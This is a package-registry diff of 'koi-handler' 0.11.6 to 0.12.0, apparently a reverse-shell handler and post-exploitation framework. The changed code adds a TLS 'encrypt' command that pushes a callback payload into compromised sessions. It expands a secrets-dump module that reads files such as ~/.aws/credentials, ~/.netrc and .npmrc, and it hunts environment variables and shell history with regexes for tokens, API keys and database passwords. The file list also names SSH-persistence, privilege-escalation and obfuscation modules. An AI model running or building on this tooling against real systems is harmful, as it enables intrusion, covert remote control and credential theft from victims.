koi-handler 0.11.6__tar.gz → 0.12.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {koi_handler-0.11.6/src/koi_handler.egg-info → koi_handler-0.12.0}/PKG-INFO +1 -1
- {koi_handler-0.11.6 → koi_handler-0.12.0}/pyproject.toml +1 -1
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/listener.py +122 -9
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/modules/blueprint.py +44 -17
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/modules/secrets_dump.py +89 -43
- koi_handler-0.12.0/src/koi/modules/ssh_persist.py +270 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/session.py +20 -5
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/utils/bash_obfuscate.py +0 -4
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/utils/cli.py +163 -4
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/utils/config.py +6 -9
- koi_handler-0.12.0/src/koi/utils/config_ui.py +240 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/utils/detect.py +3 -2
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/utils/interact.py +5 -7
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/utils/obfuscate_ui.py +13 -57
- koi_handler-0.12.0/src/koi/utils/terminal.py +54 -0
- koi_handler-0.12.0/src/koi/utils/tls.py +123 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/utils/ui.py +17 -11
- {koi_handler-0.11.6 → koi_handler-0.12.0/src/koi_handler.egg-info}/PKG-INFO +1 -1
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi_handler.egg-info/SOURCES.txt +4 -1
- koi_handler-0.11.6/src/koi/modules/env_dump.py +0 -132
- {koi_handler-0.11.6 → koi_handler-0.12.0}/LICENSE +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/setup.cfg +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/main.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/mcp/__init__.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/mcp/schema.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/mcp/server.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/modules/download.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/modules/duplicate.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/modules/get_processes.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/modules/get_users.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/modules/ligolo.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/modules/loader.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/modules/network_enum.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/modules/peas.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/modules/populate_win.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/modules/sharphound.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/modules/sysinfo.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/modules/upload.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/modules/upload64.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/modules/wifi_enum.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/modules/winscalate.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/tunnel/__init__.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/tunnel/agent_payload.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/tunnel/engine/__init__.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/tunnel/engine/__main__.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/tunnel/engine/agent.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/tunnel/engine/packet.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/tunnel/engine/proxy.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/tunnel/engine/stack.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/tunnel/engine/tcp.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/tunnel/engine/transport.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/tunnel/engine/tun.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/tunnel/manager.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/utils/__init__.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/utils/cache.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/utils/connect/__init__.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/utils/connect/base.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/utils/connect/ssh.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/utils/constants.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/utils/logger.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/utils/models.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/utils/payloads.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/utils/powerupgrade.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/utils/ps_obfuscate.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi/utils/tcp.py +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi_handler.egg-info/dependency_links.txt +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi_handler.egg-info/entry_points.txt +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi_handler.egg-info/requires.txt +0 -0
- {koi_handler-0.11.6 → koi_handler-0.12.0}/src/koi_handler.egg-info/top_level.txt +0 -0
|
@@ -10,6 +10,7 @@ import socket
|
|
|
10
10
|
import subprocess
|
|
11
11
|
import sys
|
|
12
12
|
import threading
|
|
13
|
+
import uuid
|
|
13
14
|
import time
|
|
14
15
|
from typing import Callable, Dict, Optional
|
|
15
16
|
|
|
@@ -29,10 +30,11 @@ from koi.utils.cli import (
|
|
|
29
30
|
)
|
|
30
31
|
from koi.utils.connect import TRANSPORTS, get_transport
|
|
31
32
|
from koi.utils.powerupgrade import upgrade_windows_conptyshell
|
|
33
|
+
from koi.utils.tls import server_context, is_tls_client_hello, try_tls_handshake, encrypt_payload
|
|
32
34
|
from koi.utils.interact import interact
|
|
33
35
|
from koi.utils.tcp import get_local_ip
|
|
34
36
|
from koi.modules.loader import load_modules, get_module
|
|
35
|
-
from koi.session import Session, SessionBusy
|
|
37
|
+
from koi.session import Session, SessionBusy, recv_ready
|
|
36
38
|
from koi.tunnel.manager import TunnelManager
|
|
37
39
|
from koi.utils.ui import (
|
|
38
40
|
colored_text, display_art, print_report_box,
|
|
@@ -43,6 +45,7 @@ from koi.utils.ui import (
|
|
|
43
45
|
gradient_text, yesno,
|
|
44
46
|
)
|
|
45
47
|
from koi.utils.obfuscate_ui import run_obfuscate_ui
|
|
48
|
+
from koi.utils.config_ui import run_config_ui
|
|
46
49
|
|
|
47
50
|
LOCALUSER = os.getenv("USER") or os.getenv("USERNAME") or "user"
|
|
48
51
|
|
|
@@ -174,6 +177,8 @@ class Listener:
|
|
|
174
177
|
self._pending_conpty: dict = {}
|
|
175
178
|
self._conpty_staging: dict = {}
|
|
176
179
|
self._conpty_lock = threading.Lock()
|
|
180
|
+
self._pending_encrypt: dict = {}
|
|
181
|
+
self._ssl_ctx = None
|
|
177
182
|
self.screenable_mode: bool = False
|
|
178
183
|
self._winch_pending: bool = False
|
|
179
184
|
self._stopped: bool = False
|
|
@@ -273,6 +278,31 @@ class Listener:
|
|
|
273
278
|
time.sleep(0.5)
|
|
274
279
|
continue
|
|
275
280
|
|
|
281
|
+
# Purge expired encrypt tokens.
|
|
282
|
+
now_mono = time.monotonic()
|
|
283
|
+
self._pending_encrypt = {
|
|
284
|
+
k: v for k, v in self._pending_encrypt.items()
|
|
285
|
+
if now_mono < v["deadline"]
|
|
286
|
+
}
|
|
287
|
+
|
|
288
|
+
# Peek to detect TLS ClientHello before any other routing.
|
|
289
|
+
tls_handled = False
|
|
290
|
+
if self._pending_encrypt and self._ssl_ctx is not None:
|
|
291
|
+
try:
|
|
292
|
+
head = conn.recv(3, socket.MSG_PEEK)
|
|
293
|
+
except OSError:
|
|
294
|
+
head = b""
|
|
295
|
+
if is_tls_client_hello(head):
|
|
296
|
+
tls_conn = try_tls_handshake(conn, self._ssl_ctx)
|
|
297
|
+
if tls_conn is not None:
|
|
298
|
+
self._handle_encrypt_callback(tls_conn, addr)
|
|
299
|
+
tls_handled = True
|
|
300
|
+
else:
|
|
301
|
+
conn.close()
|
|
302
|
+
tls_handled = True
|
|
303
|
+
if tls_handled:
|
|
304
|
+
continue
|
|
305
|
+
|
|
276
306
|
pending = self._pending_conpty.get(addr[0])
|
|
277
307
|
if pending is not None and time.monotonic() > pending[1]:
|
|
278
308
|
self._pending_conpty.pop(addr[0], None)
|
|
@@ -517,6 +547,7 @@ class Listener:
|
|
|
517
547
|
if transport is None:
|
|
518
548
|
supported = ", ".join(bold(name) for name in TRANSPORTS)
|
|
519
549
|
notify('error', f"Unknown transport {accent(argv[0])}, supported: {supported}.")
|
|
550
|
+
notify('status', muted(f"Example: connect ssh user@10.10.10.5 or connect ssh user:pass@10.10.10.5"))
|
|
520
551
|
return
|
|
521
552
|
|
|
522
553
|
target = transport.parse(argv[1:])
|
|
@@ -524,10 +555,6 @@ class Listener:
|
|
|
524
555
|
notify('error', transport.usage)
|
|
525
556
|
return
|
|
526
557
|
|
|
527
|
-
if target.password:
|
|
528
|
-
# The line just typed carries the password in clear, keep it out of recall.
|
|
529
|
-
self._scrub_last_history()
|
|
530
|
-
|
|
531
558
|
host = transport.resolve_host(target)
|
|
532
559
|
if host is None:
|
|
533
560
|
notify('warning', f"{accent(target.destination)} is reached through a jump host.")
|
|
@@ -675,7 +702,7 @@ class Listener:
|
|
|
675
702
|
return True
|
|
676
703
|
|
|
677
704
|
handlers = {
|
|
678
|
-
"help": (print_help,
|
|
705
|
+
"help": (print_help, 2),
|
|
679
706
|
"stop": (self._cmd_stop_accepting, 0),
|
|
680
707
|
"start": (self._cmd_start_accepting, 0),
|
|
681
708
|
"ls": (self._cmd_ls, 0),
|
|
@@ -684,9 +711,11 @@ class Listener:
|
|
|
684
711
|
"reload": (self._cmd_reload, 0),
|
|
685
712
|
"go": (self._cmd_go, 1),
|
|
686
713
|
"upgrade": (self._cmd_upgrade, 1),
|
|
714
|
+
"encrypt": (self._cmd_encrypt, 1),
|
|
687
715
|
"kill": (self._cmd_kill, 1),
|
|
688
716
|
"payload": (self._cmd_payload, 1),
|
|
689
717
|
"obfuscator": (self._cmd_obfuscate, 1),
|
|
718
|
+
"settings": (self._cmd_config, 0),
|
|
690
719
|
"tag": (self._cmd_tag, 2),
|
|
691
720
|
"setshell": (self._cmd_setshell, 2),
|
|
692
721
|
"ifconfig": (self._cmd_ifconfig, 0),
|
|
@@ -713,7 +742,8 @@ class Listener:
|
|
|
713
742
|
for s in sorted(sessions, key=lambda x: x.id):
|
|
714
743
|
masked_ip = self._mask_ip(s.addr[0])
|
|
715
744
|
tag_part = f" {muted('[')}{accent(s.tag)}{muted(']')}" if s.tag else ""
|
|
716
|
-
|
|
745
|
+
tls_badge = f" {accent('TLS')}" if s.encrypted else ""
|
|
746
|
+
key = f"#{s.id}{tag_part} {s.status_dot()} {plain(masked_ip)}{muted(f':{s.addr[1]}')}{tls_badge}"
|
|
717
747
|
data[key] = f"[{s.os_label()}] {s._uptime()}"
|
|
718
748
|
print_report_box("Sessions", data)
|
|
719
749
|
|
|
@@ -787,6 +817,87 @@ class Listener:
|
|
|
787
817
|
|
|
788
818
|
notify('success', f"Shell {accent(f'#{sid}')} upgraded successfully.")
|
|
789
819
|
|
|
820
|
+
# ----------------------------------------------------------- encrypt (TLS)
|
|
821
|
+
|
|
822
|
+
_ENCRYPT_TIMEOUT = 30.0
|
|
823
|
+
|
|
824
|
+
def _handle_encrypt_callback(self, tls_conn, addr) -> None:
|
|
825
|
+
try:
|
|
826
|
+
tls_conn.settimeout(5.0)
|
|
827
|
+
line = b""
|
|
828
|
+
while not line.endswith(b"\n") and len(line) < 256:
|
|
829
|
+
chunk = tls_conn.recv(1)
|
|
830
|
+
if not chunk:
|
|
831
|
+
tls_conn.close()
|
|
832
|
+
return
|
|
833
|
+
line += chunk
|
|
834
|
+
token = line.strip().decode(errors="replace")
|
|
835
|
+
except (OSError, UnicodeDecodeError):
|
|
836
|
+
tls_conn.close()
|
|
837
|
+
return
|
|
838
|
+
|
|
839
|
+
entry = self._pending_encrypt.pop(token, None)
|
|
840
|
+
if entry is None:
|
|
841
|
+
tls_conn.close()
|
|
842
|
+
return
|
|
843
|
+
|
|
844
|
+
tls_conn.settimeout(None)
|
|
845
|
+
entry["tls_conn"] = tls_conn
|
|
846
|
+
entry["tls_addr"] = addr
|
|
847
|
+
|
|
848
|
+
def _cmd_encrypt(self, ref: str) -> None:
|
|
849
|
+
sess = self._require_alive_session(ref)
|
|
850
|
+
if sess is None:
|
|
851
|
+
return
|
|
852
|
+
sid = sess.id
|
|
853
|
+
if sess.encrypted:
|
|
854
|
+
notify('warning', f"Session {accent(f'#{sid}')} is already encrypted.")
|
|
855
|
+
return
|
|
856
|
+
|
|
857
|
+
if self._ssl_ctx is None:
|
|
858
|
+
with Spinner("Generating TLS certificate..."):
|
|
859
|
+
try:
|
|
860
|
+
self._ssl_ctx = server_context()
|
|
861
|
+
except Exception as exc:
|
|
862
|
+
notify('error', f"Could not initialize TLS: {exc}")
|
|
863
|
+
return
|
|
864
|
+
|
|
865
|
+
token = uuid.uuid4().hex
|
|
866
|
+
local_ip = get_local_ip(sess.addr[0])
|
|
867
|
+
payload = encrypt_payload(sess.os_type, local_ip, self.port, token)
|
|
868
|
+
if payload is None:
|
|
869
|
+
notify('error', f"No TLS payload for this session type.")
|
|
870
|
+
return
|
|
871
|
+
|
|
872
|
+
entry = {
|
|
873
|
+
"session": sess,
|
|
874
|
+
"deadline": time.monotonic() + self._ENCRYPT_TIMEOUT,
|
|
875
|
+
}
|
|
876
|
+
self._pending_encrypt[token] = entry
|
|
877
|
+
|
|
878
|
+
with sess.io(holder="encrypt"):
|
|
879
|
+
sess.send(payload.encode())
|
|
880
|
+
notify('info', f"TLS payload sent to {accent(f'#{sid}')}, waiting for callback...")
|
|
881
|
+
|
|
882
|
+
deadline = time.monotonic() + self._ENCRYPT_TIMEOUT
|
|
883
|
+
while time.monotonic() < deadline:
|
|
884
|
+
tls_conn = entry.get("tls_conn")
|
|
885
|
+
if tls_conn is not None:
|
|
886
|
+
try:
|
|
887
|
+
sess.conn.close()
|
|
888
|
+
except OSError:
|
|
889
|
+
pass
|
|
890
|
+
sess.conn = tls_conn
|
|
891
|
+
sess.addr = entry["tls_addr"]
|
|
892
|
+
sess.encrypted = True
|
|
893
|
+
self._pending_encrypt.pop(token, None)
|
|
894
|
+
notify('success', f"Session {accent(f'#{sid}')} encrypted (TLS)")
|
|
895
|
+
return
|
|
896
|
+
time.sleep(0.3)
|
|
897
|
+
|
|
898
|
+
self._pending_encrypt.pop(token, None)
|
|
899
|
+
notify('error', f"TLS callback from {accent(f'#{sid}')} timed out.")
|
|
900
|
+
|
|
790
901
|
def _cmd_kill(self, ref: str) -> None:
|
|
791
902
|
sess = self._resolve_session(ref)
|
|
792
903
|
if sess is None:
|
|
@@ -1030,6 +1141,9 @@ class Listener:
|
|
|
1030
1141
|
def _cmd_obfuscate(self, iface: Optional[str] = None) -> None:
|
|
1031
1142
|
run_obfuscate_ui(iface, self.port)
|
|
1032
1143
|
|
|
1144
|
+
def _cmd_config(self) -> None:
|
|
1145
|
+
run_config_ui()
|
|
1146
|
+
|
|
1033
1147
|
def _flush_pending_notifications(self) -> None:
|
|
1034
1148
|
with self._notif_lock:
|
|
1035
1149
|
pending = self._pending_notifications[:]
|
|
@@ -1045,8 +1159,7 @@ class Listener:
|
|
|
1045
1159
|
if remaining <= 0:
|
|
1046
1160
|
break
|
|
1047
1161
|
try:
|
|
1048
|
-
|
|
1049
|
-
if r:
|
|
1162
|
+
if recv_ready(sess.conn, min(remaining, 0.05)):
|
|
1050
1163
|
if sess.conn.recv(SOCKET_BUFFER_SIZE) == b"":
|
|
1051
1164
|
sess.alive = False
|
|
1052
1165
|
break
|
|
@@ -14,6 +14,7 @@ from typing import TYPE_CHECKING, Callable, Iterator, List, Literal, Optional, U
|
|
|
14
14
|
if TYPE_CHECKING:
|
|
15
15
|
from koi.session import Session
|
|
16
16
|
|
|
17
|
+
from koi.session import recv_ready
|
|
17
18
|
from koi.utils.cache import cache_path, fetch_or_cache
|
|
18
19
|
from koi.utils.config import TIMEOUTS
|
|
19
20
|
from koi.utils.constants import ANSI_RE, SOCKET_BUFFER_SIZE
|
|
@@ -156,6 +157,41 @@ class KoiModule(ABC):
|
|
|
156
157
|
return os_type in cls.platform
|
|
157
158
|
return cls.platform == os_type
|
|
158
159
|
|
|
160
|
+
@classmethod
|
|
161
|
+
def help_detail(cls) -> dict[str, str]:
|
|
162
|
+
platform = cls.platform
|
|
163
|
+
if isinstance(platform, list):
|
|
164
|
+
targets = ", ".join(platform)
|
|
165
|
+
elif platform == "any":
|
|
166
|
+
targets = "all"
|
|
167
|
+
else:
|
|
168
|
+
targets = platform
|
|
169
|
+
|
|
170
|
+
detail: dict[str, str] = {
|
|
171
|
+
"Usage": f"run {cls.usage}" if cls.usage else f"run {cls.name} <id>",
|
|
172
|
+
"Description": cls.description,
|
|
173
|
+
"Platform": targets,
|
|
174
|
+
}
|
|
175
|
+
if cls.category:
|
|
176
|
+
detail["Category"] = cls.category
|
|
177
|
+
|
|
178
|
+
if cls.arguments:
|
|
179
|
+
lines = []
|
|
180
|
+
for spec in cls.arguments:
|
|
181
|
+
flags = spec.get("flags", [])
|
|
182
|
+
flag_str = ", ".join(flags)
|
|
183
|
+
help_text = spec.get("help", "")
|
|
184
|
+
default = spec.get("default")
|
|
185
|
+
parts = [flag_str]
|
|
186
|
+
if help_text:
|
|
187
|
+
parts.append(help_text)
|
|
188
|
+
if default not in (None, ""):
|
|
189
|
+
parts.append(f"(default: {default})")
|
|
190
|
+
lines.append(" ".join(parts))
|
|
191
|
+
detail["Arguments"] = "\n".join(lines)
|
|
192
|
+
|
|
193
|
+
return detail
|
|
194
|
+
|
|
159
195
|
@classmethod
|
|
160
196
|
def resolve_external_resources(cls) -> list[dict]:
|
|
161
197
|
"""Return the resources ``--local-prepare`` should cache for this module.
|
|
@@ -245,16 +281,13 @@ class KoiModule(ABC):
|
|
|
245
281
|
|
|
246
282
|
buf = b""
|
|
247
283
|
deadline = time.monotonic() + timeout
|
|
248
|
-
|
|
249
|
-
# one rather than accumulating a whole (possibly huge) output in memory.
|
|
250
|
-
last_line = ""
|
|
284
|
+
collected: list[str] = []
|
|
251
285
|
|
|
252
286
|
while True:
|
|
253
287
|
remaining = deadline - time.monotonic()
|
|
254
288
|
if remaining <= 0:
|
|
255
289
|
break
|
|
256
|
-
|
|
257
|
-
if not r:
|
|
290
|
+
if not recv_ready(self.session.conn, min(remaining, _SELECT_TIMEOUT)):
|
|
258
291
|
continue
|
|
259
292
|
chunk = self.session.conn.recv(SOCKET_BUFFER_SIZE)
|
|
260
293
|
if not chunk:
|
|
@@ -267,15 +300,14 @@ class KoiModule(ABC):
|
|
|
267
300
|
if not text or "Write-Host" in text:
|
|
268
301
|
continue
|
|
269
302
|
if marker in text:
|
|
270
|
-
result =
|
|
303
|
+
result = "\n".join(collected)
|
|
271
304
|
if self._logger and result:
|
|
272
305
|
self._logger.log_event(f"exec {ps_expr}")
|
|
273
306
|
self._logger.log_output(result.encode("utf-8", errors="replace"))
|
|
274
307
|
return result
|
|
275
|
-
|
|
308
|
+
collected.append(text)
|
|
276
309
|
|
|
277
|
-
|
|
278
|
-
result = last_line
|
|
310
|
+
result = "\n".join(collected)
|
|
279
311
|
if self._logger and result:
|
|
280
312
|
self._logger.log_event(f"exec {ps_expr}")
|
|
281
313
|
self._logger.log_output(result.encode("utf-8", errors="replace"))
|
|
@@ -341,8 +373,7 @@ class KoiModule(ABC):
|
|
|
341
373
|
if self.session.upgraded:
|
|
342
374
|
self.session.send((ps_cmd + "\r\n").encode(self.session.encoding))
|
|
343
375
|
time.sleep(0.3)
|
|
344
|
-
|
|
345
|
-
if r:
|
|
376
|
+
if recv_ready(self.session.conn, 1.0):
|
|
346
377
|
self.session.conn.recv(SOCKET_BUFFER_SIZE)
|
|
347
378
|
elif self.session.os_type == "windows_ps":
|
|
348
379
|
self.sendline(ps_cmd)
|
|
@@ -525,8 +556,7 @@ class KoiModule(ABC):
|
|
|
525
556
|
if remaining <= 0:
|
|
526
557
|
raise CommandTimeout(command, timeout)
|
|
527
558
|
|
|
528
|
-
|
|
529
|
-
if not ready:
|
|
559
|
+
if not recv_ready(self.session.conn, min(remaining, _SELECT_TIMEOUT)):
|
|
530
560
|
continue
|
|
531
561
|
|
|
532
562
|
chunk = self.session.conn.recv(SOCKET_BUFFER_SIZE)
|
|
@@ -610,10 +640,7 @@ class KoiModule(ABC):
|
|
|
610
640
|
remaining = deadline - time.monotonic()
|
|
611
641
|
if remaining <= 0:
|
|
612
642
|
raise CommandTimeout(command, timeout)
|
|
613
|
-
|
|
614
|
-
[self.session.conn], [], [], min(remaining, _SELECT_TIMEOUT),
|
|
615
|
-
)
|
|
616
|
-
if not r:
|
|
643
|
+
if not recv_ready(self.session.conn, min(remaining, _SELECT_TIMEOUT)):
|
|
617
644
|
continue
|
|
618
645
|
chunk = self.session.conn.recv(SOCKET_BUFFER_SIZE)
|
|
619
646
|
if not chunk:
|
|
@@ -18,19 +18,40 @@ ENV_CRED_PATTERNS = re.compile(
|
|
|
18
18
|
re.IGNORECASE
|
|
19
19
|
)
|
|
20
20
|
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
21
|
+
_SENSITIVE_KEY_PARTS = (
|
|
22
|
+
"pass", "pwd", "secret", "token", "api", "auth", "cred",
|
|
23
|
+
"key", "jwt", "bearer", "database", "db_", "_db", "dsn",
|
|
24
|
+
"connection", "conn_", "_conn", "url", "uri",
|
|
25
|
+
"aws", "azure", "gcp", "google", "github", "gitlab",
|
|
26
|
+
"docker", "kube", "vault", "consul",
|
|
27
|
+
"private", "encrypt", "sign", "cert", "pfx", "pem",
|
|
28
|
+
"ldap", "smtp", "mail", "slack", "webhook",
|
|
29
|
+
)
|
|
30
|
+
|
|
31
|
+
_SENSITIVE_VALUE_RE = re.compile(
|
|
32
|
+
r'(?:'
|
|
33
|
+
r'(?:password|passwd|pass)\s*[:=]\s*\S+'
|
|
34
|
+
r'|[A-Z0-9]{20}[A-Z0-9/+]{30,}'
|
|
35
|
+
r'|ey[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}'
|
|
36
|
+
r'|ghp_[A-Za-z0-9]{30,}'
|
|
37
|
+
r'|glpat-[A-Za-z0-9_-]{20,}'
|
|
38
|
+
r'|AIza[0-9A-Za-z_-]{35}'
|
|
39
|
+
r'|postgres://\S+:\S+@'
|
|
40
|
+
r'|mysql://\S+:\S+@'
|
|
41
|
+
r'|mongodb(?:\+srv)?://\S+:\S+@'
|
|
42
|
+
r')',
|
|
43
|
+
re.IGNORECASE,
|
|
24
44
|
)
|
|
25
45
|
|
|
26
46
|
|
|
27
47
|
def parse_shell_history(content: str) -> List[str]:
|
|
28
|
-
"""Parse shell history and extract commands with credential patterns."""
|
|
29
48
|
commands = []
|
|
30
49
|
for line in content.split('\n'):
|
|
31
50
|
line = line.strip()
|
|
32
51
|
if not line or line.startswith('#'):
|
|
33
52
|
continue
|
|
53
|
+
if line.startswith(': ') and ';' in line:
|
|
54
|
+
line = line.split(';', 1)[1]
|
|
34
55
|
line = re.sub(r'\s+', ' ', line)
|
|
35
56
|
if CRED_PATTERNS.search(line):
|
|
36
57
|
if len(line) > 120:
|
|
@@ -73,27 +94,39 @@ def parse_git_config(content: str) -> Dict[str, str]:
|
|
|
73
94
|
|
|
74
95
|
|
|
75
96
|
def parse_ssh_config(content: str) -> Dict[str, Dict[str, str]]:
|
|
76
|
-
"""Parse SSH config and extract interesting hosts."""
|
|
77
97
|
result = {}
|
|
78
98
|
current_host = None
|
|
79
99
|
for line in content.split('\n'):
|
|
80
100
|
line = line.strip()
|
|
101
|
+
if not line or line.startswith('#'):
|
|
102
|
+
continue
|
|
81
103
|
if line.lower().startswith('host '):
|
|
82
104
|
current_host = line.split(None, 1)[1] if ' ' in line else None
|
|
83
|
-
elif current_host
|
|
105
|
+
elif current_host:
|
|
84
106
|
if '=' in line:
|
|
85
107
|
key, val = line.split('=', 1)
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
if
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
108
|
+
else:
|
|
109
|
+
parts = line.split(None, 1)
|
|
110
|
+
if len(parts) != 2:
|
|
111
|
+
continue
|
|
112
|
+
key, val = parts
|
|
113
|
+
key = key.strip().lower()
|
|
114
|
+
val = val.strip()
|
|
115
|
+
if key in ('user', 'port', 'identityfile', 'hostname', 'proxycommand'):
|
|
116
|
+
if current_host not in result:
|
|
117
|
+
result[current_host] = {}
|
|
118
|
+
result[current_host][key] = val
|
|
92
119
|
return result
|
|
93
120
|
|
|
94
121
|
|
|
122
|
+
def _is_interesting(key: str, value: str) -> bool:
|
|
123
|
+
kl = key.lower()
|
|
124
|
+
if any(part in kl for part in _SENSITIVE_KEY_PARTS):
|
|
125
|
+
return True
|
|
126
|
+
return bool(_SENSITIVE_VALUE_RE.search(value))
|
|
127
|
+
|
|
128
|
+
|
|
95
129
|
def filter_env_vars(content: str) -> Dict[str, str]:
|
|
96
|
-
"""Filter environment variables for credential patterns."""
|
|
97
130
|
result = {}
|
|
98
131
|
for line in content.split('\n'):
|
|
99
132
|
line = line.strip()
|
|
@@ -102,7 +135,7 @@ def filter_env_vars(content: str) -> Dict[str, str]:
|
|
|
102
135
|
key, val = line.split('=', 1)
|
|
103
136
|
key = key.strip()
|
|
104
137
|
val = val.strip()
|
|
105
|
-
if
|
|
138
|
+
if _is_interesting(key, val):
|
|
106
139
|
result[key] = val
|
|
107
140
|
return result
|
|
108
141
|
|
|
@@ -285,15 +318,24 @@ class SecretsDumpModule(KoiModule):
|
|
|
285
318
|
return result
|
|
286
319
|
|
|
287
320
|
def _hunt_env_vars(self) -> dict:
|
|
288
|
-
"""Extract interesting environment variables."""
|
|
289
321
|
result = {}
|
|
290
|
-
|
|
291
|
-
|
|
292
|
-
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
|
|
296
|
-
|
|
322
|
+
raw = self._try_exec("declare -x 2>/dev/null || env")
|
|
323
|
+
if not raw:
|
|
324
|
+
return result
|
|
325
|
+
env: Dict[str, str] = {}
|
|
326
|
+
for line in raw.splitlines():
|
|
327
|
+
line = line.strip()
|
|
328
|
+
if not line or "=" not in line:
|
|
329
|
+
continue
|
|
330
|
+
if line.startswith("declare -x "):
|
|
331
|
+
line = line[11:]
|
|
332
|
+
key, _, val = line.partition("=")
|
|
333
|
+
key = key.strip()
|
|
334
|
+
if key:
|
|
335
|
+
env[key] = val
|
|
336
|
+
interesting = {k: v for k, v in env.items() if _is_interesting(k, v)}
|
|
337
|
+
if interesting:
|
|
338
|
+
result["Sensitive Env Vars"] = interesting
|
|
297
339
|
return result
|
|
298
340
|
|
|
299
341
|
def _hunt_pgpass(self) -> dict:
|
|
@@ -315,9 +357,7 @@ class SecretsDumpModule(KoiModule):
|
|
|
315
357
|
return result
|
|
316
358
|
|
|
317
359
|
def _hunt_api_keys(self) -> dict:
|
|
318
|
-
"""Hunt for API keys in common locations."""
|
|
319
360
|
result = {}
|
|
320
|
-
|
|
321
361
|
locations = [
|
|
322
362
|
"~/.netrc",
|
|
323
363
|
"~/.aws/credentials",
|
|
@@ -327,15 +367,15 @@ class SecretsDumpModule(KoiModule):
|
|
|
327
367
|
"~/.npmrc",
|
|
328
368
|
"~/.gem/credentials",
|
|
329
369
|
"~/.token",
|
|
330
|
-
"~/.secrets"
|
|
370
|
+
"~/.secrets",
|
|
331
371
|
]
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
|
|
335
|
-
|
|
372
|
+
parts = " ".join(
|
|
373
|
+
f'[ -s {loc} ] && printf "\\n=== {loc} ===\\n" && head -20 {loc};'
|
|
374
|
+
for loc in locations
|
|
375
|
+
)
|
|
376
|
+
output = self._try_exec(parts)
|
|
336
377
|
if output and output.strip():
|
|
337
378
|
result["API Keys & Configs"] = output
|
|
338
|
-
|
|
339
379
|
return result
|
|
340
380
|
|
|
341
381
|
def _hunt_aws(self) -> dict:
|
|
